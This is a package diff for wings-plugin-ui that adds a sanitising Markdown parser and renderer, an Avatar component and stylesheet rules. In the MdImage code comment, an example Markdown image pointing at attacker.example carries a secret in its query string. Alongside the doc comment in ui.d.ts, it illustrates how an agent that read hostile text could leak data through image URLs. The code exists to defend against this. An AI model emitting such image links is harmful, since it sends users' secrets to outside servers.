wings-plugin-ui 0.2.0 → 0.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/markdown.js ADDED
@@ -0,0 +1,197 @@
1
+ // A small, safe Markdown parser for plugin pages, as data. It never produces HTML: text stays text, so React escapes
2
+ // it, and the only URLs it lets through are https links and https or small data:image images.
3
+ //
4
+ // Blocks: headings, paragraphs, lists (flat, with an indent depth, and task items), fenced code, quotes, rules and
5
+ // GFM tables. Inline: code, bold, italics, strikethrough, links, images, bare https URLs and emoji shortcodes
6
+ // (`:white_check_mark:`), which stay literal inside code and when the name is unknown.
7
+
8
+ import { EMOJI } from "./emoji.js";
9
+
10
+ /** A data: image longer than this, in characters, is shown as its alt text. */
11
+ export const MAX_DATA_IMAGE = 8000;
12
+
13
+ /** Only https links are ever opened. Anything else (javascript:, http:, data:, relative) is not a link. */
14
+ export const safeHref = (href) => (/^https:\/\/[^\s<>"'`]+$/i.test(href) ? href : null);
15
+
16
+ /** Only https images, and small raster data: images. SVG is left out, since it can carry script. */
17
+ export const safeSrc = (src) => {
18
+ if (/^https:\/\/[^\s<>"'`]+$/i.test(src)) return src;
19
+ if (src.length <= MAX_DATA_IMAGE && /^data:image\/(?:png|jpe?g|gif|webp);base64,[a-z0-9+/]+=*$/i.test(src)) return src;
20
+ return null;
21
+ };
22
+
23
+ const heading = /^\s{0,3}(#{1,6})\s+(.*)$/;
24
+ const bullet = /^(\s*)[-*+]\s+(.*)$/;
25
+ const numbered = /^(\s*)\d+[.)]\s+(.*)$/;
26
+ const fence = /^\s*(```|~~~)\s*([\w+-]*)/;
27
+ const rule = /^\s*([-*_])(\s*\1){2,}\s*$/;
28
+ const delimiterCell = /^:?-+:?$/;
29
+
30
+ /** The cells of a table row: split on `|` that isn't escaped as `\|`, outer pipes dropped. */
31
+ export function splitRow(line) {
32
+ let s = line.trim();
33
+ if (s.startsWith("|")) s = s.slice(1);
34
+ if (s.endsWith("|") && !s.endsWith("\\|")) s = s.slice(0, -1);
35
+ const cells = [];
36
+ let cell = "";
37
+ for (let i = 0; i < s.length; i++) {
38
+ if (s[i] === "\\" && s[i + 1] === "|") {
39
+ cell += "|";
40
+ i++;
41
+ } else if (s[i] === "|") {
42
+ cells.push(cell.trim());
43
+ cell = "";
44
+ } else cell += s[i];
45
+ }
46
+ cells.push(cell.trim());
47
+ return cells;
48
+ }
49
+
50
+ /** A table's delimiter row (`| --- | :-: |`) as column alignments, or null when the line isn't one. */
51
+ function delimiterRow(line) {
52
+ if (!line.includes("-") || !line.includes("|") && !/^\s*:?-+:?\s*$/.test(line)) return null;
53
+ const cells = splitRow(line);
54
+ if (!cells.every((c) => delimiterCell.test(c))) return null;
55
+ return cells.map((c) => (c.startsWith(":") && c.endsWith(":") ? "center" : c.endsWith(":") ? "right" : c.startsWith(":") ? "left" : null));
56
+ }
57
+
58
+ /** A heading's text without its closing hashes (`## Title ##`), found by walking back from the end. */
59
+ function headingText(text) {
60
+ let end = text.length;
61
+ while (end > 0 && /\s/.test(text[end - 1])) end--;
62
+ let hashes = end;
63
+ while (hashes > 0 && text[hashes - 1] === "#") hashes--;
64
+ if (hashes < end && hashes > 0 && /\s/.test(text[hashes - 1])) {
65
+ end = hashes;
66
+ while (end > 0 && /\s/.test(text[end - 1])) end--;
67
+ }
68
+ return text.slice(0, end);
69
+ }
70
+
71
+ /**
72
+ * Blocks of Markdown, as data:
73
+ * `{ kind: "heading", level 1-6, text }`, `{ kind: "paragraph", text }`,
74
+ * `{ kind: "list", ordered, items: { text, depth 0-3, checked: boolean | null }[] }`, `{ kind: "code", lang, text }`,
75
+ * `{ kind: "quote", text }`, `{ kind: "rule" }` and `{ kind: "table", align, head, rows }`.
76
+ */
77
+ export function parseBlocks(src) {
78
+ const blocks = [];
79
+ const lines = String(src).replace(/\r\n?/g, "\n").split("\n");
80
+ let paragraph = [];
81
+ const flush = () => {
82
+ if (paragraph.length) blocks.push({ kind: "paragraph", text: paragraph.join(" ") });
83
+ paragraph = [];
84
+ };
85
+ for (let i = 0; i < lines.length; i++) {
86
+ const line = lines[i];
87
+ const open = fence.exec(line);
88
+ if (open) {
89
+ flush();
90
+ const code = [];
91
+ while (++i < lines.length && !new RegExp(`^\\s*${open[1]}\\s*$`).test(lines[i])) code.push(lines[i]);
92
+ blocks.push({ kind: "code", lang: open[2], text: code.join("\n") });
93
+ continue;
94
+ }
95
+ if (!line.trim()) {
96
+ flush();
97
+ continue;
98
+ }
99
+ // A table: a header row with a pipe, then a delimiter row with as many cells.
100
+ if (line.includes("|") && i + 1 < lines.length) {
101
+ const align = delimiterRow(lines[i + 1]);
102
+ const head = align && splitRow(line);
103
+ if (align && head.length === align.length) {
104
+ flush();
105
+ const rows = [];
106
+ let j = i + 2;
107
+ for (; j < lines.length && lines[j].trim() && lines[j].includes("|"); j++) {
108
+ const cells = splitRow(lines[j]);
109
+ // Short rows are padded and long ones cut, as GFM does.
110
+ rows.push(Array.from({ length: head.length }, (_, c) => cells[c] ?? ""));
111
+ }
112
+ blocks.push({ kind: "table", align, head, rows });
113
+ i = j - 1;
114
+ continue;
115
+ }
116
+ }
117
+ const h = heading.exec(line);
118
+ const li = bullet.exec(line) ?? numbered.exec(line);
119
+ if (h) {
120
+ flush();
121
+ blocks.push({ kind: "heading", level: h[1].length, text: headingText(h[2]) });
122
+ } else if (rule.test(line)) {
123
+ flush();
124
+ blocks.push({ kind: "rule" });
125
+ } else if (li) {
126
+ flush();
127
+ const ordered = !bullet.test(line);
128
+ const task = /^\[([ xX])\]\s+(.*)$/.exec(li[2]);
129
+ const item = { text: task ? task[2] : li[2], depth: Math.min(3, Math.floor(li[1].replace(/\t/g, " ").length / 2)), checked: task ? task[1] !== " " : null };
130
+ const last = blocks.at(-1);
131
+ if (last?.kind === "list" && last.ordered === ordered) last.items.push(item);
132
+ else blocks.push({ kind: "list", ordered, items: [item] });
133
+ } else if (line.trimStart().startsWith(">")) {
134
+ flush();
135
+ const text = line.replace(/^\s*>\s?/, "");
136
+ const last = blocks.at(-1);
137
+ if (last?.kind === "quote") last.text += ` ${text}`;
138
+ else blocks.push({ kind: "quote", text });
139
+ } else paragraph.push(line.trim());
140
+ }
141
+ flush();
142
+ return blocks;
143
+ }
144
+
145
+ // Every scan is bounded and stops at a newline, so a long run of brackets or markers costs a bounded step per start
146
+ // rather than a pass over the rest of the text.
147
+ const inlinePattern =
148
+ /\[!\[([^\[\]\n]{0,200})\]\(([^)\s]{0,2000})\)\]\(([^)\s]{1,2000})\)|!\[([^\[\]\n]{0,200})\]\(([^)\s]{0,2000})\)|\[([^\[\]\n]{1,200})\]\(([^)\s]{1,2000})\)|`([^`\n]{1,2000})`|\*\*([^*\n]{1,2000})\*\*|~~([^~\n]{1,2000})~~|\*([^*\s][^*\n]{0,2000})\*|(https:\/\/[^\s<>"'`)\]]{1,2000})|:([a-z0-9_+-]{1,40}):/gi;
149
+
150
+ /** `text` with its known `:shortcodes:` as emoji, for spans that are plain text, like a bold or a link's text. */
151
+ export const emojify = (text) =>
152
+ text.includes(":") ? text.replace(/:([a-z0-9_+-]{1,40}):/gi, (all, name) => (Object.hasOwn(EMOJI, name.toLowerCase()) ? EMOJI[name.toLowerCase()] : all)) : text;
153
+
154
+ const sentenceEnd = ".,;:!?";
155
+
156
+ /**
157
+ * Inline spans: `{ kind: "text" | "code" | "strong" | "em" | "del", text }`, `{ kind: "link", text, href }` and
158
+ * `{ kind: "image", alt, src }`. A link that isn't https is its text; an image that isn't allowed is its alt text. An
159
+ * image inside a link (`[![alt](img)](url)`) is a link whose text is the alt.
160
+ */
161
+ export function parseInline(src) {
162
+ const out = [];
163
+ let at = 0;
164
+ for (const m of src.matchAll(inlinePattern)) {
165
+ if (m.index > at) out.push({ kind: "text", text: src.slice(at, m.index) });
166
+ at = m.index + m[0].length;
167
+ if (m[3] !== undefined) {
168
+ const href = safeHref(m[3]);
169
+ const text = m[1] || m[3];
170
+ out.push(href ? { kind: "link", text, href } : { kind: "text", text: m[1] });
171
+ } else if (m[5] !== undefined) {
172
+ const safe = safeSrc(m[5]);
173
+ if (safe) out.push({ kind: "image", alt: m[4], src: safe });
174
+ else if (m[4]) out.push({ kind: "text", text: m[4] });
175
+ } else if (m[7] !== undefined) {
176
+ const href = safeHref(m[7]);
177
+ out.push(href ? { kind: "link", text: m[6], href } : { kind: "text", text: m[6] });
178
+ } else if (m[8] !== undefined) out.push({ kind: "code", text: m[8] });
179
+ else if (m[9] !== undefined) out.push({ kind: "strong", text: m[9] });
180
+ else if (m[10] !== undefined) out.push({ kind: "del", text: m[10] });
181
+ else if (m[11] !== undefined) out.push({ kind: "em", text: m[11] });
182
+ else if (m[13] !== undefined) {
183
+ const emoji = Object.hasOwn(EMOJI, m[13].toLowerCase()) ? EMOJI[m[13].toLowerCase()] : null;
184
+ out.push({ kind: "text", text: emoji ?? m[0] });
185
+ } else {
186
+ // A bare URL, without the punctuation that ends a sentence.
187
+ let end = m[12].length;
188
+ while (end > 0 && sentenceEnd.includes(m[12][end - 1])) end--;
189
+ const url = m[12].slice(0, end);
190
+ const href = safeHref(url);
191
+ out.push(href ? { kind: "link", text: url, href } : { kind: "text", text: url });
192
+ if (end < m[12].length) out.push({ kind: "text", text: m[12].slice(end) });
193
+ }
194
+ }
195
+ if (at < src.length) out.push({ kind: "text", text: src.slice(at) });
196
+ return out;
197
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "wings-plugin-ui",
3
- "version": "0.2.0",
3
+ "version": "0.4.0",
4
4
  "description": "React components and the stylesheet for Wings plugin pages, on Base UI like the Wings app's shadcn/ui components.",
5
5
  "license": "MIT",
6
6
  "type": "module",
@@ -14,6 +14,8 @@
14
14
  },
15
15
  "files": [
16
16
  "ui.js",
17
+ "markdown.js",
18
+ "emoji.js",
17
19
  "ui.d.ts",
18
20
  "plugin-ui.css",
19
21
  "README.md",
package/plugin-ui.css CHANGED
@@ -744,6 +744,32 @@ textarea::placeholder {
744
744
  }
745
745
 
746
746
  /* Status: a dot, a spinner and a badge. */
747
+ .w-avatar {
748
+ display: inline-flex;
749
+ flex: none;
750
+ align-items: center;
751
+ justify-content: center;
752
+ width: 24px;
753
+ height: 24px;
754
+ border-radius: 50%;
755
+ background: hsl(var(--w-hue) 45% 32%);
756
+ color: hsl(var(--w-hue) 70% 90%);
757
+ font-size: 10px;
758
+ font-weight: 600;
759
+ line-height: 1;
760
+ letter-spacing: 0.02em;
761
+ user-select: none;
762
+ }
763
+ .w-avatar[data-size="small"] {
764
+ width: 18px;
765
+ height: 18px;
766
+ font-size: 8px;
767
+ }
768
+ .w-avatar[data-size="large"] {
769
+ width: 32px;
770
+ height: 32px;
771
+ font-size: 12px;
772
+ }
747
773
  .w-dot {
748
774
  flex: none;
749
775
  width: 6px;
@@ -1526,4 +1552,139 @@ textarea::placeholder {
1526
1552
  animation: none;
1527
1553
  }
1528
1554
  }
1555
+ /* Markdown */
1556
+ .w-md {
1557
+ display: flex;
1558
+ flex-direction: column;
1559
+ gap: 10px;
1560
+ line-height: 1.55;
1561
+ overflow-wrap: anywhere;
1562
+ min-width: 0;
1563
+ }
1564
+ span.w-md {
1565
+ display: inline;
1566
+ }
1567
+ .w-md-heading {
1568
+ margin: 4px 0 0;
1569
+ font-weight: 600;
1570
+ font-size: 14px;
1571
+ }
1572
+ .w-md-heading[data-level="1"] {
1573
+ font-size: 15px;
1574
+ }
1575
+ .w-md-heading[data-level="3"],
1576
+ .w-md-heading[data-level="4"] {
1577
+ font-size: 13px;
1578
+ }
1579
+ .w-md-list {
1580
+ margin: 0;
1581
+ padding-left: 20px;
1582
+ }
1583
+ .w-md-list:not([data-ordered]) {
1584
+ list-style: disc;
1585
+ }
1586
+ .w-md-list[data-ordered] {
1587
+ list-style: decimal;
1588
+ }
1589
+ .w-md-list > li[data-depth="1"] {
1590
+ margin-left: 16px;
1591
+ }
1592
+ .w-md-list > li[data-depth="2"] {
1593
+ margin-left: 32px;
1594
+ }
1595
+ .w-md-list > li[data-depth="3"] {
1596
+ margin-left: 48px;
1597
+ }
1598
+ .w-md-list > li[data-task] {
1599
+ list-style: none;
1600
+ margin-left: -20px;
1601
+ }
1602
+ .w-md-list > li[data-task][data-depth="1"] {
1603
+ margin-left: -4px;
1604
+ }
1605
+ .w-md-check {
1606
+ width: 13px;
1607
+ height: 13px;
1608
+ margin: 0 6px 0 0;
1609
+ padding: 0;
1610
+ vertical-align: -2px;
1611
+ accent-color: var(--wings-fg);
1612
+ }
1613
+ .w-md-code {
1614
+ padding: 1px 4px;
1615
+ border-radius: 4px;
1616
+ background: rgb(255 255 255 / 0.08);
1617
+ font-family: var(--wings-mono);
1618
+ font-size: 0.92em;
1619
+ }
1620
+ .w-md-pre {
1621
+ margin: 0;
1622
+ padding: 10px 12px;
1623
+ overflow-x: auto;
1624
+ border-radius: 8px;
1625
+ background: rgb(255 255 255 / 0.06);
1626
+ font: 12px/1.45 var(--wings-mono);
1627
+ }
1628
+ .w-md-quote {
1629
+ margin: 0;
1630
+ padding-left: 12px;
1631
+ border-left: 2px solid var(--wings-hairline-strong);
1632
+ color: var(--wings-muted);
1633
+ }
1634
+ .w-md-rule {
1635
+ width: 100%;
1636
+ border: 0;
1637
+ border-top: 1px solid var(--wings-hairline);
1638
+ }
1639
+ .w-md-link {
1640
+ color: var(--wings-info);
1641
+ text-underline-offset: 2px;
1642
+ }
1643
+ .w-md-link:hover {
1644
+ text-decoration: underline;
1645
+ }
1646
+ .w-md-image {
1647
+ display: block;
1648
+ max-width: 100%;
1649
+ height: auto;
1650
+ border-radius: 8px;
1651
+ }
1652
+ .w-md-image-load {
1653
+ height: auto;
1654
+ max-width: 100%;
1655
+ padding: 4px 10px;
1656
+ font-size: 12px;
1657
+ overflow-wrap: anywhere;
1658
+ }
1659
+ .w-md-table-wrap {
1660
+ max-width: 100%;
1661
+ overflow-x: auto;
1662
+ border: 1px solid var(--wings-hairline);
1663
+ border-radius: 8px;
1664
+ }
1665
+ .w-md-table {
1666
+ width: 100%;
1667
+ border-collapse: collapse;
1668
+ font-size: 12.5px;
1669
+ }
1670
+ .w-md-table th,
1671
+ .w-md-table td {
1672
+ padding: 6px 10px;
1673
+ border-bottom: 1px solid var(--wings-hairline);
1674
+ text-align: left;
1675
+ vertical-align: top;
1676
+ }
1677
+ .w-md-table th {
1678
+ background: var(--wings-surface);
1679
+ font-weight: 600;
1680
+ }
1681
+ .w-md-table tbody tr:last-child td {
1682
+ border-bottom: 0;
1683
+ }
1684
+ .w-md-table [data-align="center"] {
1685
+ text-align: center;
1686
+ }
1687
+ .w-md-table [data-align="right"] {
1688
+ text-align: right;
1689
+ }
1529
1690
  }
package/ui.d.ts CHANGED
@@ -174,6 +174,11 @@ export function Dot(
174
174
  label?: string;
175
175
  },
176
176
  ): ReactElement;
177
+ /**
178
+ * A round avatar with the initials of `name` (up to two letters) on a colour that depends only on the name, so a person
179
+ * looks the same everywhere. Decoration next to the name unless given a `label`, which names it for assistive tech.
180
+ */
181
+ export function Avatar(props: Props<"span"> & { name: string; size?: "small" | "large"; label?: string }): ReactElement;
177
182
  /** A spinner, 16px like the app's, in the colour of the text around it. With a `label` it's announced; otherwise it's decoration. */
178
183
  export function Spinner(props: Props<"span"> & { size?: "large"; label?: string }): ReactElement;
179
184
  /** shadcn/ui's Badge variants. */
@@ -334,3 +339,18 @@ export function Menu(props: Omit<Props<"button">, "children"> & { label: ReactNo
334
339
  export function Disclosure(
335
340
  props: Omit<Props<"div">, "children"> & { summary: ReactNode; children?: ReactNode; open?: boolean; defaultOpen?: boolean; onOpenChange?: (open: boolean) => void },
336
341
  ): ReactElement;
342
+
343
+ // ---------- markdown ----------
344
+
345
+ /**
346
+ * Markdown as React elements: headings, paragraphs, lists (with read-only task checkboxes), fenced code, quotes,
347
+ * rules, GFM tables, bold, italics, strikethrough, inline code, links, bare https URLs, images and emoji shortcodes like
348
+ * `:white_check_mark:` (unknown names and anything in code stay as typed). No HTML is ever
349
+ * parsed. Links open through `wings.openUrl` and only when they are https, so the manifest needs
350
+ * `permissions.openUrl: ["https://"]` for them to work. Images load only from https or `data:image/` (png, jpeg, gif,
351
+ * webp) URLs of up to 8,000 characters; anything else shows its alt text. A remote https image shows as a "Load image from <host>" button and loads only when clicked, since text an agent wrote could otherwise leak data in the URL; a data: image shows at once. `inline` renders only the inline parts, in
352
+ * a span, for a table cell or a one-line value. Re-renders only when `source` changes.
353
+ */
354
+ export function Markdown(props: Omit<Props<"div">, "children"> & { source: string; inline?: boolean }): ReactElement;
355
+ /** The longest `data:image/` URL, in characters, that `Markdown` shows. */
356
+ export const MAX_DATA_IMAGE: number;
package/ui.js CHANGED
@@ -14,9 +14,13 @@ import { Select as BaseSelect } from "@base-ui/react/select";
14
14
  import { Tabs as BaseTabs } from "@base-ui/react/tabs";
15
15
  import { Toggle as BaseToggle } from "@base-ui/react/toggle";
16
16
  import { ToggleGroup as BaseToggleGroup } from "@base-ui/react/toggle-group";
17
- import { createContext, createElement as h, useContext, useEffect, useId, useLayoutEffect, useRef, useState } from "react";
17
+ import { createContext, createElement as h, useContext, useEffect, useId, memo, useLayoutEffect, useRef, useState } from "react";
18
18
  import { createRoot } from "react-dom/client";
19
19
 
20
+ import { MAX_DATA_IMAGE, emojify, parseBlocks, parseInline } from "./markdown.js";
21
+
22
+ export { MAX_DATA_IMAGE };
23
+
20
24
  import { mountShell } from "wings-plugin-sdk/shell";
21
25
 
22
26
  // ---------- places ----------
@@ -361,6 +365,38 @@ export function Dot({ tone, color, label, className, style, ...rest }) {
361
365
  });
362
366
  }
363
367
 
368
+ /** Up to two initials of a name or login: "Ada Lovelace" is AL, "ada-bot[bot]" is AB, "ada" is A. */
369
+ const initialsOf = (name) => {
370
+ const words = name.replace(/\[bot\]$/i, "").split(/[^\p{L}\p{N}]+/u).filter(Boolean);
371
+ return (words.length > 1 ? words[0][0] + words[1][0] : (words[0] ?? "?").slice(0, 1)).toUpperCase();
372
+ };
373
+
374
+ /** A hue from 0 to 359 that depends only on the name, so a person has the same colour everywhere. */
375
+ const hueOf = (name) => {
376
+ let hash = 0;
377
+ for (let i = 0; i < name.length; i++) hash = (hash * 31 + name.charCodeAt(i)) >>> 0;
378
+ return hash % 360;
379
+ };
380
+
381
+ /**
382
+ * A round avatar with the initials of a `name` on a colour taken from it. Decoration next to the name by default;
383
+ * with a `label` it's announced.
384
+ */
385
+ export function Avatar({ name, size, label, className, style, ...rest }) {
386
+ return h(
387
+ "span",
388
+ {
389
+ ...rest,
390
+ className: cx("w-avatar", className),
391
+ // The hue comes from the name, as data: plugin-ui.css paints the avatar with it.
392
+ style: { ...style, "--w-hue": hueOf(name) },
393
+ "data-size": size,
394
+ ...(label ? { role: "img", "aria-label": label } : { "aria-hidden": true }),
395
+ },
396
+ initialsOf(name),
397
+ );
398
+ }
399
+
364
400
  /** A spinner. With a `label` it's announced. */
365
401
  export function Spinner({ size, label, className, ...rest }) {
366
402
  return h("span", { ...rest, className: cx("w-spinner", className), "data-size": size, ...(label ? { role: "img", "aria-label": label } : { "aria-hidden": true }) });
@@ -751,3 +787,119 @@ export function Disclosure({ summary, open, defaultOpen, onOpenChange, children,
751
787
  h(BaseCollapsible.Panel, { className: "w-disclosure-panel" }, children),
752
788
  );
753
789
  }
790
+
791
+ // ---------- markdown ----------
792
+
793
+ const openLink = (e, href) => {
794
+ e.preventDefault();
795
+ // Needs `permissions.openUrl` in the manifest, like `["https://"]`.
796
+ wings.openUrl(href).catch(console.error);
797
+ };
798
+
799
+ /** Parsed inline spans by text, so a render doesn't parse every cell and paragraph again. */
800
+ const inlines = new Map();
801
+ function inlineOf(text) {
802
+ let parts = inlines.get(text);
803
+ if (!parts) {
804
+ parts = parseInline(text);
805
+ if (inlines.size >= 500) inlines.delete(inlines.keys().next().value);
806
+ inlines.set(text, parts);
807
+ }
808
+ return parts;
809
+ }
810
+
811
+ /**
812
+ * A remote image is a button until it's clicked: loading an image tells its server who looked and when, and the text
813
+ * may come from an agent that read something hostile (`![](https://attacker.example/?d=secret)`). A data: image
814
+ * carries its own bytes, so it shows at once.
815
+ */
816
+ function MdImage({ src, alt }) {
817
+ const [loaded, setLoaded] = useState(false);
818
+ const img = (h("img", { className: "w-md-image", src, alt, loading: "lazy", decoding: "async", referrerPolicy: "no-referrer" }));
819
+ if (src.startsWith("data:") || loaded) return img;
820
+ const host = new URL(src).host;
821
+ return h("button", { type: "button", className: "w-md-image-load", title: alt || undefined, onClick: () => setLoaded(true) }, `Load image from ${host}`);
822
+ }
823
+
824
+ function MdInline({ text }) {
825
+ return inlineOf(text).map((part, i) => {
826
+ switch (part.kind) {
827
+ case "code":
828
+ return h("code", { key: i, className: "w-md-code" }, part.text);
829
+ case "strong":
830
+ return h("strong", { key: i }, emojify(part.text));
831
+ case "em":
832
+ return h("em", { key: i }, emojify(part.text));
833
+ case "del":
834
+ return h("del", { key: i }, emojify(part.text));
835
+ case "image":
836
+ return h(MdImage, { key: i, src: part.src, alt: part.alt });
837
+ case "link":
838
+ return h("a", { key: i, className: "w-md-link", href: part.href, onClick: (e) => openLink(e, part.href) }, emojify(part.text));
839
+ default:
840
+ return part.text;
841
+ }
842
+ });
843
+ }
844
+
845
+ /** Parsed blocks by source, so a page that renders many sections only parses the one that changed. */
846
+ const parsed = new Map();
847
+ function blocksOf(source) {
848
+ let blocks = parsed.get(source);
849
+ if (!blocks) {
850
+ blocks = parseBlocks(source);
851
+ if (parsed.size >= 200) parsed.delete(parsed.keys().next().value);
852
+ parsed.set(source, blocks);
853
+ }
854
+ return blocks;
855
+ }
856
+
857
+ /**
858
+ * Markdown as React elements. No HTML is ever parsed; links open through `wings.openUrl` and only when they are
859
+ * https; images show only from https or small data:image URLs, and an https image loads only when clicked. Re-renders only when `source` changes.
860
+ */
861
+ export const Markdown = memo(function Markdown({ source, inline, className, ...rest }) {
862
+ if (inline) return h("span", { ...rest, className: cx("w-md", className) }, h(MdInline, { text: source }));
863
+ return h(
864
+ "div",
865
+ { ...rest, className: cx("w-md", className) },
866
+ blocksOf(source).map((b, i) => {
867
+ switch (b.kind) {
868
+ case "heading":
869
+ return h(`h${Math.min(b.level + 2, 6)}`, { key: i, className: "w-md-heading", "data-level": Math.min(b.level, 4) }, h(MdInline, { text: b.text }));
870
+ case "list":
871
+ return h(
872
+ b.ordered ? "ol" : "ul",
873
+ { key: i, className: "w-md-list", "data-ordered": b.ordered ? "" : undefined },
874
+ b.items.map((item, j) =>
875
+ h(
876
+ "li",
877
+ { key: j, "data-depth": item.depth || undefined, "data-task": item.checked === null ? undefined : "" },
878
+ item.checked === null ? null : h("input", { type: "checkbox", checked: item.checked, disabled: true, "aria-label": item.checked ? "Done" : "Not done", className: "w-md-check" }),
879
+ h(MdInline, { text: item.text }),
880
+ ),
881
+ ),
882
+ );
883
+ case "code":
884
+ return h("pre", { key: i, className: "w-md-pre" }, h("code", null, b.text));
885
+ case "quote":
886
+ return h("blockquote", { key: i, className: "w-md-quote" }, h(MdInline, { text: b.text }));
887
+ case "rule":
888
+ return h("hr", { key: i, className: "w-md-rule" });
889
+ case "table":
890
+ return h(
891
+ "div",
892
+ { key: i, className: "w-md-table-wrap" },
893
+ h(
894
+ "table",
895
+ { className: "w-md-table" },
896
+ h("thead", null, h("tr", null, b.head.map((c, j) => h("th", { key: j, scope: "col", "data-align": b.align[j] ?? undefined }, h(MdInline, { text: c }))))),
897
+ h("tbody", null, b.rows.map((row, r) => h("tr", { key: r }, row.map((c, j) => h("td", { key: j, "data-align": b.align[j] ?? undefined }, h(MdInline, { text: c })))))),
898
+ ),
899
+ );
900
+ default:
901
+ return h("p", { key: i }, h(MdInline, { text: b.text }));
902
+ }
903
+ }),
904
+ );
905
+ });